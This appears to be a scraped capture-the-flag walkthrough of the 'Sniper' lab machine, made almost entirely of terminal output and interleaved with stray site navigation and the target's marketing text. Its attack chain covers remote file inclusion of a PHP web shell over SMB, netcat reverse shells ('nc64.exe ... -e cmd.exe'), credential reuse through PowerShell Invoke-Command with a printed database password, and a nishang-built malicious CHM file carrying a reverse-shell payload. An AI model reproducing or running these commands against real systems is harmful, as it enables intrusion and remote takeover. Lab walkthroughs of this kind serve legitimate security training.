

```
root@kali:~/Masaüstü# nmap -sC -sV -p- -T4 10.10.10.151
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-28 10:12 +03
Nmap scan report for 10.10.10.151
Host is up (0.063s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: Sniper Co.
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc        Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: 7h59m58s
|_ smb2-security-mode:
|   2.02:
|_   Message signing enabled but not required
|_ smb2-time:
|   date: 2019-12-28T15:17:27
|_   start_date: N/A
```

About us

Fast delivery guaranteed

Our Services?

Whether it's 10 violins for a local music shop or 10,000 vaccines for an overseas clinic, there's a lot riding on your ability to deliver and track a package. But the information that you need about status to manage these two shipments is completely different. We offer services to track the delivery person responsible and keep notes on it.

That's why we've developed a range of tracking tools that deliver precisely the information you need, where and when you need it. So you can re-route those violins to arrive at school for the first day of class. Or estimate delivery of that life-saving medicine so the clinic can schedule staff.



HOME

DOWNLOADS

PENTESTING ▾

SERVERS ▾

PARTITION ▾

INSTALLATIONS ▾

OTHER ▾

SYMLINK

SHELL SCRIPT

Breaking News ► Facebook is Going To Start Dating Service: Secret Crush

Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction

```
root@kali:~/Masaüstü# ls -la sniper
toplam 24
dr-xr-xr-x 2 nobody nogroup 4096 Ara 28 09:44 .
drwxr-xr-x 5 root root 4096 Ara 28 10:17 .
-rw-r--r-- 1 root root 13322 Ara 28 09:43 mannu.php
root@kali:~/Masaüstü#
```

```
[snp] /etc/samba/smb.conf  
path = /root/Masaüstü/sniper/  
writable = no  
guest ok = yes  
guest only = yes  
read only = yes  
directory mode = 0555  
force user = nobody
```

10.10.10.151/blog/?lang=\\10.10.14.148\snp\mannu.php

php

Kali Linux

Kali Training

Kali Tools

Kali Docs

Kali Forums

NetHunter

Offensive Security

Exploit-DB

GHDB

MSFU

Home

Language

Download

#####

--==[[Greetz to]]==--

Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba ,Silent poison India,Magnum sniper,ethicalnoob Indishell,Local root indishell,Irfninja indishell
Reborn India,L0rd Crus4d3r,cool toad,Hackuin,Alicks,Gujjar PCP,Bikash,Dinelson Amine,Th3 D3str0yer,SKSking,rad paul,Godzilla,mike waals,zoo zoo,cyber warrior,Neo hacker ICA
cyber gladiator,7he Cre4t0r,Cyber Ace, Golden boy INDIA,Ketan Singh,Yash,Aneesh Dogra,AR AR,saad abbasi,hero,Minhal Mehdi ,Raj bhai ji , Hacking queen ,lovetherisk and rest of TEAM INDISHELL.

--==[[Love to]]==--

My Father , my Ex Teacher,cold fire hacker,Mannu, ViKi,Jagriti,Suriya Cyber Tyson ,Ashu bhai ji,Rafay Baloch,Soldier Of God,Shafoon,Rehan Manzoor,almas malik, Bhuppi,Mohit, Ffe ^_^,Govind Singh,Shardhanand ,Budhaoo,Don(Deepika kaushik) and D3

--==[[Interface Desgined By]]==--

GCE College ke DON :D

#####

--= = BiLLu, Show/HiDe SeRvEr InF0 || UpLoAd FiLe = =--

DiReCtOrY cH cd ~ (Home)

CmD eXeCt

Connect BaCk

Create Directory

Create File

.	0777	DeleTe
..	0777	DeleTe
Microsoft	0777	DeleTe
mimikt.exe	0777	eDiT uda de xD
nc64.exe	0777	eDiT uda de xD
Sherlock.ps1	0777	eDiT uda de xD
wew.pdf	0777	eDiT uda de xD
wu.ps1	0777	eDiT uda de xD

CmD eXeCt

nc64.exe 10.10.14.148 9091 -e cmd.exe

eXeCuTe It LiKe A bOss

Create File

```
C:\inetpub\wwwroot\user>type db.php
type db.php
<?php
// Enter your Host, username, password, database below.
// I left password empty because i do not set password on localhost.
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
// Check connection
if (mysqli_connect_errno())
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
?>
```



```
PS C:\Users> $password = "36mEAhz/B8xQ~2VM"|ConvertTo-SecureString -asPlainText -Force;
$password = "36mEAhz/B8xQ~2VM"|ConvertTo-SecureString -asPlainText -Force;
PS C:\Users> $username = "WORKGROUP\Chris"; $credential = New-Object System.Management.Automation.PsCredential($username,$password);
$username = "WORKGROUP\Chris"; $credential = New-Object System.Management.Automation.PsCredential($username,$password);
PS C:\Users> Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock {dir C:\Users\Chris\Desktop}
Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock {dir C:\Users\Chris\Desktop}
```

Directory: C:\Users\Chris\Desktop

nc64.exe 10.10.14.148 9091 -e cmd.exe

eXeCuTe It LiKe A bOss

Mode	LastWriteTime	Length	Name	PSComputerName
----	-----	-----	----	-----
-a----	4/11/2019 8:15 AM	32	user.txt	SNIPER

0777

DeleTe


```
PS C:\Users> Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock {type C:\Users\Chris\Desktop\user.txt}
Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock {type C:\Users\Chris\Desktop\user.txt}
21f4d0f29fc4dd867500c1ad716cf56e
```

```
PS C:\Test> Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock {C:\Test\nc64.exe 10.10.14.148 8081 -e cmd.exe}
```

```
Invoke-Command -ComputerName SNIPER -Credential $credential -ScriptBlock {C:\Test\nc64.exe 10.10.14.148 8081 -e cmd.exe}
```

```
root@kali:~/Masaüstü# nc -nlvp 8081
listening on [any] 8081 ...
connect to [10.10.14.148] from (UNKNOWN) [10.10.10.151] 54563
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\Chris\Documents>whoami
whoami
sniper\chris
```

 Administrator: Windows PowerShell

Windows PowerShell

Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> powershell.exe -exec bypass

Windows PowerShell

Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> _

```

PS C:\users\fatih.ilgin\Downloads\nishang-master> Import-Module .\nishang.psm1
Import-Module : Cannot process the "#requires" statement at line 1 because it is not in the correct format.
The "#requires" statement must be in one of the following formats:
"#requires -shellid <shellid>"
"#requires -version <major.minor>"
"#requires -pssnapin <psSnapInName> [-version <major.minor>]"
At C:\users\fatih.ilgin\Downloads\nishang-master\nishang.psm1:20 char:207
+ Get-ChildItem -Recurse $PSScriptRoot *.ps1 | Where-Object <<$_.Name -ne 'Keylogger.ps1'-or $_.Name -ne 'Invoke-Prasadhak.ps1' -or $_.Name -ne 'Get-WebCredentials.ps1'>> | ForEach-Object <Import-Module <<<< $_.FullName -DisableNameChecking>>>>
+ ~~~~~
+ CategoryInfo          : NotSpecified: (:) [Import-Module], ScriptRequiresSyntaxException
+ FullyQualifiedErrorId : RuntimeException,Microsoft.PowerShell.Commands.ImportModuleCommand

Import-Module : Cannot process the "#requires" statement at line 1 because it is not in the correct format.
The "#requires" statement must be in one of the following formats:
"#requires -shellid <shellid>"
"#requires -version <major.minor>"
"#requires -pssnapin <psSnapInName> [-version <major.minor>]"
At C:\users\fatih.ilgin\Downloads\nishang-master\nishang.psm1:20 char:207
+ Get-ChildItem -Recurse $PSScriptRoot *.ps1 | Where-Object <<$_.Name -ne 'Keylogger.ps1'-or $_.Name -ne 'Invoke-Prasadhak.ps1' -or $_.Name -ne 'Get-WebCredentials.ps1'>> | ForEach-Object <Import-Module <<<< $_.FullName -DisableNameChecking>>>>
+ ~~~~~
+ CategoryInfo          : NotSpecified: (:) [Import-Module], ScriptRequiresSyntaxException
+ FullyQualifiedErrorId : RuntimeException,Microsoft.PowerShell.Commands.ImportModuleCommand

Attribute cannot be added because it would cause the variable ExfilOption with value  to become invalid.
+ CategoryInfo          : MetadataError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ValidateSetFailure

WARNING: Some imported command names include unapproved verbs which might make them less discoverable. Use the Verbose parameter for more detail or type Get-Verb to see the list of approved verbs.
WARNING: Some imported command names contain one or more of the following restricted characters: # , < > << >> [ ] & - / \ $ ^ ; : " ' < > ! ? @ ` * % + = ~
PS C:\users\fatih.ilgin\Downloads\nishang-master> Out-CHM -Payload "C:\test\nc64.exe 10.10.14.216 9092 -e cmd.exe" -HHCPPath "C:\Program Files\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702

Compiling c:\users\fatih.ilgin\Downloads\nishang-master\doc.chm

Compile time: 0 minutes, 0 seconds
2      Topics
4      Local links
4      Internet links
0      Graphics

Created c:\users\fatih.ilgin\Downloads\nishang-master\doc.chm, 13,438 bytes
Compression increased file by 269 bytes.
PS C:\users\fatih.ilgin\Downloads\nishang-master>

```

C:\Windows\system32\cmd.exe

Microsoft Windows [Sürüm 6.1.7601]

Telif Hakkı (c) 2009 Microsoft Corporation. Tüm hakları saklıdır.

C:\Users\...>cd C:\Users\...\Downloads\nishang-master

C:\Users\...\Downloads\nishang-master>move doc.chm C:\Users\...\Desktop\instructions.chm
1 dosya taşındı.

C:\Users\...\Downloads\nishang-master>

```
C:\Users\Chris\Documents>curl.exe http://10.10.14.213:8081/instructions.chm -O instructions.chm
curl.exe http://10.10.14.213:8081/instructions.chm -O instructions.chm
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100 13438  100 13438    0     0  13438      0  0:00:01 --:--:--  0:00:01 26042
  0      0    0     0    0     0     0      0 --:--:--  0:00:11 --:--:--    0curl: (6) Could not resolve host: instructions.chm
```

```
C:\Users\Chris\Documents>dir
```

```
dir
```

```
Volume in drive C has no label.
Volume Serial Number is 6A2B-2640
```

```
Directory of C:\Users\Chris\Documents
```

```
01/22/2020  06:19 AM    <DIR>          .
01/22/2020  06:19 AM    <DIR>          ..
01/22/2020  06:19 AM                13,438 instructions.chm
               1 File(s)                13,438 bytes
               2 Dir(s)  17,966,878,720 bytes free
```

```
C:\Users\Chris\Documents>move instructions.chm C:\Docs\instructions.chm
```

```
move instructions.chm C:\Docs\instructions.chm
```

```
1 file(s) moved.
```



```
C:\Users\Chris\Documents>cd ..\..\..\Docs
cd ..\..\..\Docs
```

```
C:\Docs>dir
dir
```

```
Volume in drive C has no label.
Volume Serial Number is 6A2B-2640
```

Directory of C:\Docs

```
01/22/2020  06:20 AM    <DIR>          .
01/22/2020  06:20 AM    <DIR>          ..
01/22/2020  06:19 AM               13,438 instructions.chm
04/11/2019  08:31 AM                285 note.txt
04/11/2019  08:17 AM            552,607 php for dummies-trial.pdf
               3 File(s)             566,330 bytes
               2 Dir(s)  17,966,809,088 bytes free
```

```
root@kali:~/Downloads# nc -nlvp 9092
listening on [any] 9092 ...
connect to [10.10.14.213] from (UNKNOWN) [10.10.10.151] 49744
Microsoft Windows [Version 10.0.17763.678]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>dir
dir
Volume in drive C has no label.
Volume Serial Number is 6A2B-2640

Directory of C:\Windows\system32
```

Directory of C:\Users\Administrator

```
04/09/2019  05:47 AM    <DIR>          .
04/09/2019  05:47 AM    <DIR>          ..
08/14/2019  09:38 PM    <DIR>          3D Objects
08/14/2019  09:38 PM    <DIR>          Contacts
10/01/2019  07:44 AM    <DIR>          Desktop
08/14/2019  09:38 PM    <DIR>          Documents
08/14/2019  09:38 PM    <DIR>          Downloads
08/14/2019  09:38 PM    <DIR>          Favorites
08/14/2019  09:38 PM    <DIR>          Links
08/14/2019  09:38 PM    <DIR>          Music
08/14/2019  09:38 PM    <DIR>          Pictures
08/14/2019  09:38 PM    <DIR>          Saved Games
08/14/2019  09:38 PM    <DIR>          Searches
08/14/2019  09:38 PM    <DIR>          Videos
                0 File(s)                0 bytes
                14 Dir(s) 17,965,699,072 bytes free
```

```
C:\Users\Administrator>cd Desktop
cd Desktop
```

```
C:\Users\Administrator\Desktop>dir
dir
```

```
Volume in drive C has no label.
Volume Serial Number is 6A2B-2640
```

Directory of C:\Users\Administrator\Desktop

```
10/01/2019  07:44 AM    <DIR>          .
10/01/2019  07:44 AM    <DIR>          ..
04/11/2019  07:13 AM                32 root.txt
                1 File(s)                32 bytes
                2 Dir(s) 17,965,699,072 bytes free
```

```
C:\Users\Administrator\Desktop>type root.txt
type root.txt
5624caf363e2750e994f6be0b7436c15
C:\Users\Administrator\Desktop>
```